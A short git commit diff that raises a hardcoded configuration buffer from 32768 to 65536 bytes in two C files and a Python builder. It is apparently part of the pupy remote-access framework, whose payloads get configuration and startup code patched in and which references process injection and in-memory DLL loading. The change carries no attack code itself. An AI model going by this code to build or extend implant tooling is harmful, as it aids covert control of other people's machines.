Add more space for scriptlets

This commit is contained in:
Oleksii Shevchuk 2017-06-18 16:17:09 +03:00
parent 9cc97becf6
commit 30c86f3948
3 changed files with 3 additions and 3 deletions

View File

@ -28,7 +28,7 @@ int linux_inject_main(int argc, char **argv);
static const char module_doc[] = "Builtins utilities for pupy"; static const char module_doc[] = "Builtins utilities for pupy";
static const char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; static const char pupy_config[65536]="####---PUPY_CONFIG_COMES_HERE---####\n";
static PyObject *ExecError; static PyObject *ExecError;

View File

@ -20,7 +20,7 @@ static char module_doc[] = "Builtins utilities for pupy";
UINTPTR _load_dll(const char *name, const char *bytes); UINTPTR _load_dll(const char *name, const char *bytes);
char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space ! char pupy_config[65536]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup. scriptlets also takes more space !
static PyObject *ExecError; static PyObject *ExecError;

View File

@ -30,7 +30,7 @@ import getpass
import json import json
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__))) ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
HARDCODED_CONF_SIZE=32768 HARDCODED_CONF_SIZE=65536
def check_templates_version(): def check_templates_version():
try: try: